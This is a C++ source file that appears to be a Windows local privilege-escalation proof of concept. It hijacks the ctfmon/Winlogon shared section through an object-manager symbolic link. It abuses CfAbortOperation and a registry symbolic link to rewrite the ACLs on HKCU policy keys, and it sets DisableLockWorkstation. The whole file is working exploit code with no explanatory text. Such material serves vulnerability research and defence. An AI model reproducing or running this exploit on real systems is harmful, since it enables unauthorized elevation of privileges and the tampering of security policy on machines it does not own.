GreenPlasma.cpp 8.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244
  1. #include <iostream>
  2. #include <Windows.h>
  3. #include <winternl.h>
  4. #include <aclapi.h>
  5. #include <ntstatus.h>
  6. #include <tlhelp32.h>
  7. #include <sddl.h>
  8. #include <conio.h>
  9. #pragma comment(lib, "ntdll.lib")
  10. #pragma comment(lib, "advapi32.lib")
  11. #define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))
  12. HMODULE hm = GetModuleHandle(L"ntdll.dll");
  13. NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
  14. OUT PHANDLE pHandle,
  15. IN ACCESS_MASK DesiredAccess,
  16. IN POBJECT_ATTRIBUTES ObjectAttributes,
  17. IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)(
  18. OUT PHANDLE pHandle,
  19. IN ACCESS_MASK DesiredAccess,
  20. IN POBJECT_ATTRIBUTES ObjectAttributes,
  21. IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
  22. NTSTATUS(WINAPI* _NtOpenSection)(
  23. _Out_ PHANDLE SectionHandle,
  24. _In_ ACCESS_MASK DesiredAccess,
  25. _In_ POBJECT_ATTRIBUTES ObjectAttributes
  26. ) = (NTSTATUS(WINAPI*)(
  27. _Out_ PHANDLE SectionHandle,
  28. _In_ ACCESS_MASK DesiredAccess,
  29. _In_ POBJECT_ATTRIBUTES ObjectAttributes))GetProcAddress(hm, "NtOpenSection");
  30. NTSTATUS(WINAPI* _NtDeleteKey)(
  31. HANDLE hkey
  32. ) = (NTSTATUS(WINAPI*)(HANDLE hkey))GetProcAddress(hm, "NtDeleteKey");
  33. DWORD(WINAPI* CfAbortOperation)(
  34. DWORD pid,
  35. void* unknown,
  36. DWORD flags
  37. ) = (DWORD(WINAPI*)(
  38. DWORD pid,
  39. void* unknown,
  40. DWORD flags
  41. ))GetProcAddress(LoadLibraryA("cldapi.dll"), "CfAbortOperation");
  42. bool SetPolicyVal()
  43. {
  44. bool ret = true;
  45. CfAbortOperation(GetCurrentProcessId(), NULL, 0x2);
  46. DWORD val = 1;
  47. DWORD dwRes = NULL;
  48. HKEY hk = NULL;
  49. DWORD res = NULL;
  50. PACL pACL = NULL;
  51. PSECURITY_DESCRIPTOR pSD = NULL;
  52. EXPLICIT_ACCESS ea;
  53. HANDLE htoken = NULL;
  54. DWORD dwSize = 0;
  55. wchar_t* stringSid = nullptr;
  56. wchar_t linktarget[MAX_PATH] = { 0 };
  57. PTOKEN_USER pTokenUser = NULL;
  58. ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  59. ea.grfAccessPermissions = GENERIC_ALL;
  60. ea.grfAccessMode = SET_ACCESS;
  61. ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
  62. ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  63. ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
  64. ea.Trustee.ptstrName = (wchar_t*)L"Everyone";
  65. dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL);
  66. if (ERROR_SUCCESS != dwRes) {
  67. printf("SetEntriesInAcl error: %d\n",dwRes);
  68. goto cleanup;
  69. }
  70. res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Policies\\Microsoft\\CloudFiles", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL);
  71. if (res)
  72. {
  73. printf("Failed to reset HKCU\\Software\\Policies\\Microsoft\\CloudFiles DACL, error : %d\n", res);
  74. goto cleanup;
  75. }
  76. res = RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps");
  77. if (res)
  78. {
  79. printf("Failed to delete HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res);
  80. goto cleanup;
  81. }
  82. res = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps", NULL, NULL, REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hk, NULL);
  83. if (res)
  84. {
  85. printf("Failed to create HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res);
  86. goto cleanup;
  87. }
  88. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
  89. printf("OpenProcessToken, error : %d\n", GetLastError());
  90. _NtDeleteKey(hk);
  91. goto cleanup;
  92. }
  93. GetTokenInformation(htoken, TokenUser, nullptr, 0, &dwSize);
  94. if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
  95. printf("GetTokenInformation failed, error : %d\n",GetLastError());
  96. _NtDeleteKey(hk);
  97. goto cleanup;
  98. }
  99. pTokenUser = (PTOKEN_USER)malloc(dwSize);
  100. if (!GetTokenInformation(htoken, TokenUser, pTokenUser, dwSize, &dwSize)) {
  101. printf("GetTokenInformation failed, error : %d\n", GetLastError());
  102. _NtDeleteKey(hk);
  103. goto cleanup;
  104. }
  105. CloseHandle(htoken);
  106. htoken = NULL;
  107. if (!ConvertSidToStringSid(pTokenUser->User.Sid, &stringSid)) {
  108. printf("ConvertSidToStringSid failed.\n");
  109. _NtDeleteKey(hk);
  110. goto cleanup;
  111. }
  112. wsprintf(linktarget, L"\\REGISTRY\\USER\\%ws\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",stringSid);
  113. res = RegSetValueEx(hk, L"SymbolicLinkValue", NULL, REG_LINK, (BYTE*)linktarget, wcslen(linktarget) * sizeof(wchar_t));
  114. if (res)
  115. {
  116. printf("Failed to create symbolic link, error : %d\n", res);
  117. _NtDeleteKey(hk);
  118. goto cleanup;
  119. }
  120. CfAbortOperation(GetCurrentProcessId(), NULL, 0x2);
  121. res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL);
  122. if (res)
  123. {
  124. printf("Failed to reset HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System DACL, error : %d\n", res);
  125. goto cleanup;
  126. }
  127. _NtDeleteKey(hk);
  128. CloseHandle(hk);
  129. hk = NULL;
  130. res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", NULL, KEY_SET_VALUE, &hk);
  131. if (res)
  132. {
  133. printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res);
  134. goto cleanup;
  135. }
  136. res = RegSetValueEx(hk, L"DisableLockWorkstation", NULL, REG_DWORD, (BYTE*)&val, sizeof(DWORD));
  137. if (res)
  138. {
  139. printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res);
  140. goto cleanup;
  141. }
  142. exit:
  143. if (pACL)
  144. LocalFree(pACL);
  145. if (pSD)
  146. LocalFree(pSD);
  147. if(hk)
  148. CloseHandle(hk);
  149. return ret;
  150. cleanup:
  151. ret = false;
  152. goto exit;
  153. }
  154. int wmain(int argc, wchar_t** argv)
  155. {
  156. wchar_t smpath[MAX_PATH] = { 0 };
  157. DWORD sesid = 0;
  158. if (!ProcessIdToSessionId(GetCurrentProcessId(), &sesid))
  159. {
  160. printf("Failed to find current process session id, error : %d\n", GetLastError());
  161. return 1;
  162. }
  163. if (!sesid)
  164. {
  165. printf("Seriously...?\n");
  166. return 1;
  167. }
  168. wsprintf(smpath, L"\\Sessions\\%d\\BaseNamedObjects\\CTF.AsmListCache.FMPWinlogon%d", sesid, sesid);
  169. wchar_t* ptarget = argc == 2 ? argv[1] : (wchar_t*)L"\\BaseNamedObjects\\CTFMON_DEAD";
  170. bool lockblock = false;
  171. SHELLEXECUTEINFO shi = { 0 };
  172. UNICODE_STRING linksrc = { 0 };
  173. UNICODE_STRING linktarget = { 0 };
  174. RtlInitUnicodeString(&linksrc, smpath);
  175. RtlInitUnicodeString(&linktarget, ptarget);
  176. OBJECT_ATTRIBUTES objattr = { 0 };
  177. InitializeObjectAttributes(&objattr, &linksrc, OBJ_CASE_INSENSITIVE, NULL, NULL);
  178. HANDLE hlnk = NULL;
  179. HANDLE hmapping = NULL;
  180. NTSTATUS stat = _NtCreateSymbolicLinkObject(&hlnk, GENERIC_ALL, &objattr, &linktarget);
  181. if (stat)
  182. {
  183. printf("Failed to create object manager link.\nEither ctfmon is running as SYSTEM or an instance of the PoC is already running.\n");
  184. goto cleanup;
  185. }
  186. shi.cbSize = sizeof(shi);
  187. shi.fMask = SEE_MASK_NOZONECHECKS | SEE_MASK_ASYNCOK;
  188. shi.lpVerb = L"runas";
  189. shi.lpFile = L"C:\\Windows\\System32\\conhost.exe";
  190. ShellExecuteEx(&shi);
  191. do {
  192. _NtOpenSection(&hmapping, MAXIMUM_ALLOWED, &objattr);
  193. } while (!hmapping);
  194. lockblock = SetPolicyVal();
  195. if (lockblock) {
  196. do {
  197. Sleep(20);
  198. HDESK dsk = OpenInputDesktop(NULL, NULL, GENERIC_ALL);
  199. if (!dsk || dsk == INVALID_HANDLE_VALUE)
  200. break;
  201. CloseDesktop(dsk);
  202. } while (1);
  203. LockWorkStation();
  204. }
  205. printf("Section handle : 0x%x\n", hmapping);
  206. printf("Press any button to close section and exit\n");
  207. cleanup:
  208. if (hlnk)
  209. CloseHandle(hlnk);
  210. if (hmapping)
  211. {
  212. _getch();
  213. CloseHandle(hmapping);
  214. }
  215. if (lockblock)
  216. RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
  217. return 0;
  218. }